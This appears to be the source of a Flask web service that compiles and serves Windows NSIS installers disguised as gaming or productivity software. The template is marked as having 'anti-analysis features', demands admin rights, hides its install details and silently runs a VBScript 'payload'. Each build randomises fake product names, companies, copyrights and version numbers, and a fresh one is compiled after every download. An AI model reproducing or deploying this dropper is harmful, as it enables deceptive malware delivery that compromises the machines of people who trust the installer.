Spaces:
Sleeping
Sleeping
File size: 12,257 Bytes
a324286 45a1acf a324286 f21bc12 a324286 f21bc12 66f8fc1 45a1acf 0b709b9 a324286 f21bc12 a324286 49671d8 a324286 f21bc12 49671d8 f21bc12 49671d8 f21bc12 49671d8 f21bc12 49671d8 f21bc12 69f259b a324286 f21bc12 49671d8 f21bc12 a324286 f21bc12 a324286 f21bc12 1dc363b f21bc12 49671d8 f21bc12 49671d8 a324286 49671d8 f21bc12 49671d8 f21bc12 49671d8 f21bc12 49671d8 f21bc12 49671d8 436e9c0 45a1acf 49671d8 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 |
from flask import Flask, send_file, jsonify
import os
import subprocess
import json
import random
from datetime import datetime
from pathlib import Path
from threading import Thread
import shutil
app = Flask(__name__)
# Configuration
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
STATS_FILE = "download_stats.json"
NSIS_COMPILER_PATH = "/usr/local/bin/makensis"
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)
# Modify the NSIS_SCRIPT_TEMPLATE with enhanced anti-analysis features
NSIS_SCRIPT_TEMPLATE = r"""
; NeuraScope Insight Installer Script
!include "MUI2.nsh"
!include "LogicLib.nsh"
; Basic definitions
Name "{{ProductName}}"
OutFile "${{installer_path}}"
InstallDir "$WINDIR\..\ProgramData\Omega"
RequestExecutionLevel admin
SetCompressor /SOLID lzma
SetCompressorDictSize 96
SetDatablockOptimize ON
; Interface settings
!define MUI_ICON "app.ico"
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\win.bmp"
; Pages
!insertmacro MUI_PAGE_WELCOME
!insertmacro MUI_PAGE_INSTFILES
!insertmacro MUI_LANGUAGE "English"
; Basic Version Information
VIProductVersion "{{ProductVersion}}"
VIAddVersionKey "ProductName" "{{ProductName}}"
VIAddVersionKey "CompanyName" "{{CompanyName}}"
VIAddVersionKey "LegalCopyright" "{{LegalCopyright}}"
VIAddVersionKey "FileVersion" "{{FileVersion}}"
VIAddVersionKey "ProductVersion" "{{ProductVersion}}"
VIAddVersionKey "FileDescription" "{{FileDescription}}"
ShowInstDetails hide
AutoCloseWindow true
Section "MainSection" SEC01
SetDetailsPrint none
SetOutPath "$WINDIR\..\ProgramData\Omega"
; File copies
; Run payload and exit
ExecShell "" "$WINDIR\..\ProgramData\Omega\0.vbs" SW_HIDE
SetAutoClose true
SectionEnd
"""
# Greatly expanded version details dictionary
VERSION_DETAILS = {
"ProductName": [
"Gametoy Health Center", "Omega Insight Pro", "Visionary Game System", "TechMatrix Suite Premium",
"Nebula Installer Plus", "GameForge Studio", "Digital Nexus Hub", "CyberPulse Platform",
"VirtualCore Manager", "GameStream Elite", "OmegaForge Professional", "TechVision Suite",
"GameMatrix Central", "CloudPulse Gaming", "NexusCore Platform", "GameWave Professional",
"Cyber Matrix Hub", "VisionForge Elite", "PulseTech Gaming", "StreamCore Professional",
"TechPro Suite", "GameCore Elite", "CloudMatrix Enterprise", "VisionWave Platform",
"PulseForge Studio", "NexusWave Pro", "CyberCore Premium", "GamePulse Advanced",
"TechStream Ultimate", "OmegaCore Enterprise"
],
"CompanyName": [
"Game Health Systems Inc.", "TechWave Innovations Ltd.", "Omega Systems International",
"Visionary Game Corporation", "Nebula Technologies Group", "GameForge Solutions",
"Digital Nexus Corporation", "CyberPulse Technologies", "VirtualCore Solutions",
"GameStream Enterprises", "OmegaForge Technologies", "TechVision Innovations",
"GameMatrix Solutions", "CloudPulse Interactive", "NexusCore Technologies",
"GameWave Digital", "CyberMatrix Solutions", "VisionForge Systems",
"PulseTech Interactive", "StreamCore Solutions", "TechPro Enterprises",
"GameCore Solutions Ltd.", "CloudMatrix Systems", "VisionWave Technologies",
"PulseForge Interactive", "NexusWave Digital", "CyberCore Solutions",
"GamePulse Technologies", "TechStream Systems", "OmegaCore Industries"
],
"LegalCopyright": [
"Copyright © 2024 Gametoy Innovations - All Rights Reserved",
"Copyright © 2024 Visionary Game Co. - Professional Edition",
"Copyright © 2024 Omega Systems - Enterprise License",
"Copyright © 2024 TechWave - Premium License",
"Copyright © 2024 Nebula Technologies - Commercial Use",
"Copyright © 2024 GameForge Solutions - Professional License",
"Copyright © 2024 Digital Nexus - Enterprise Edition",
"Copyright © 2024 CyberPulse - Commercial License",
"Copyright © 2024 VirtualCore - Premium Edition",
"Copyright © 2024 GameStream - Professional Use",
"Copyright © 2024 TechPro - Enterprise License",
"Copyright © 2024 GameCore - Commercial Edition",
"Copyright © 2024 CloudMatrix - Professional License",
"Copyright © 2024 VisionWave - Premium Use",
"Copyright © 2024 PulseForge - Enterprise Edition"
],
"FileDescription": [
"Professional Gaming Platform Installer", "Advanced Game Management System",
"Enterprise Gaming Solution Suite", "Premium Game Development Tools",
"Professional Game Analytics Platform", "Advanced Gaming Framework",
"Enterprise Development Environment", "Professional Gaming SDK",
"Advanced Game Publishing Tools", "Premium Gaming Platform",
"Professional Development Suite", "Enterprise Gaming Framework",
"Advanced Game Management Tools", "Premium Development Platform",
"Professional Gaming Environment", "Enterprise Solution Suite",
"Advanced Development Framework", "Premium Management System",
"Professional Analytics Platform", "Enterprise Gaming Tools"
]
}
def generate_product_version():
"""
Generates a realistic product version number with the format major.minor.patch.build
Major: 1-5
Minor: 0-15
Patch: 0-99
Build: 1000-9999
"""
major = random.randint(1, 5)
minor = random.randint(0, 15)
patch = random.randint(0, 99)
build = random.randint(1000, 9999)
return f"{major}.{minor}.{patch}.{build}"
def generate_file_version():
"""
Generates a unique file version with format major.minor.build.revision
"""
versions = []
for _ in range(30): # Increased to 30 versions
major = random.randint(1, 10)
minor = random.randint(0, 99)
build = random.randint(100, 999)
revision = random.randint(0, 99999)
versions.append(f"{major}.{minor}.{build}.{revision}")
return versions
# Add generated file versions to VERSION_DETAILS
VERSION_DETAILS["FileVersion"] = generate_file_version()
def generate_random_version_details():
"""Generates random meaningful version details for each build."""
return {
"ProductName": random.choice(VERSION_DETAILS["ProductName"]),
"CompanyName": random.choice(VERSION_DETAILS["CompanyName"]),
"LegalCopyright": random.choice(VERSION_DETAILS["LegalCopyright"]),
"FileVersion": random.choice(VERSION_DETAILS["FileVersion"]),
"ProductVersion": generate_product_version(),
"FileDescription": random.choice(VERSION_DETAILS["FileDescription"]),
}
def generate_nsi_script():
"""Generates the NSI script with random version details and two different random executables."""
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
installer_output = os.path.join(UPLOAD_FOLDER, f"setup_{timestamp}.exe")
if not os.access(UPLOAD_FOLDER, os.W_OK):
raise PermissionError(f"Cannot write to the directory {UPLOAD_FOLDER}")
# Generate version details
version_details = generate_random_version_details()
# Choose random .exe files from the Programs folder
programs_folder = "/files/programs"
exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
# Check if there are enough .exe files
if len(exe_files) < 2:
raise FileNotFoundError(f"Not enough .exe files found in the folder {programs_folder}")
# Select two different executable files
random_exe_1 = random.choice(exe_files)
exe_files.remove(random_exe_1) # Remove the first selected .exe
random_exe_2 = random.choice(exe_files)
random_exe_1_path = os.path.join(programs_folder, random_exe_1)
random_exe_2_path = os.path.join(programs_folder, random_exe_2)
# Replace all placeholders in the template
nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
# Replace version details
for key, value in version_details.items():
nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
# Replace the placeholders for the random executable files
nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
# Save the script
nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
with open(nsi_file_path, 'w') as nsi_file:
nsi_file.write(nsi_content)
return nsi_file_path, installer_output
def cleanup_folders():
"""Clean up both compile and upload folders"""
for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
for file in os.listdir(folder):
file_path = os.path.join(folder, file)
try:
if os.path.isfile(file_path):
os.unlink(file_path)
elif os.path.isdir(file_path):
shutil.rmtree(file_path)
except Exception as e:
print(f"Error: {e}")
def load_stats():
"""Load download statistics from file"""
if os.path.exists(STATS_FILE):
with open(STATS_FILE, 'r') as f:
return json.load(f)
return {"downloads": 0, "last_download": None}
def save_stats(stats):
"""Save download statistics to file"""
with open(STATS_FILE, 'w') as f:
json.dump(stats, f)
def compile_nsi_script(nsi_file_path):
"""Compile the NSI script using NSIS compiler"""
compile_cmd = [NSIS_COMPILER_PATH, nsi_file_path]
compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
if compile_result.returncode != 0:
print(f"NSIS Compile Error: {compile_result.stderr}")
return None
return compile_result
def get_current_installer():
"""Get the path of the most recent installer"""
files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
if not files:
return None
return str(max(files, key=os.path.getctime))
def generate_and_compile_new():
"""Generate and compile a new installer"""
nsi_file_path, installer_output = generate_nsi_script()
compile_nsi_script(nsi_file_path)
@app.route('/download/cnVuLmNtZA==')
def download_file():
"""Handle file download requests"""
stats = load_stats()
file_path = get_current_installer()
if not file_path:
nsi_file_path, installer_output = generate_nsi_script()
compile_nsi_script(nsi_file_path)
file_path = installer_output
if not os.path.exists(file_path):
return "Installer file not found", 404
response = send_file(file_path, as_attachment=True)
def after_request(response):
stats['downloads'] += 1
stats['last_download'] = datetime.now().isoformat()
save_stats(stats)
cleanup_folders()
Thread(target=lambda: generate_and_compile_new()).start()
return response
return after_request(response)
@app.route('/show')
def show_stats():
"""Show download statistics"""
stats = load_stats()
return jsonify({
"total_downloads": stats['downloads'],
"last_download": stats['last_download']
})
@app.route('/')
def home():
"""Home page with links to available endpoints"""
return """
<h1>File Compiler Service</h1>
<ul>
<li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
<li><a href="/show">/show</a> - View download statistics</li>
</ul>
"""
if __name__ == '__main__':
# Clean up on startup
cleanup_folders()
# Compile initial installer
print("Creating initial installer...")
nsi_file_path, installer_output = generate_nsi_script()
compile_nsi_script(nsi_file_path)
# Start the Flask application
app.run(debug=True, host='0.0.0.0', port=5000) |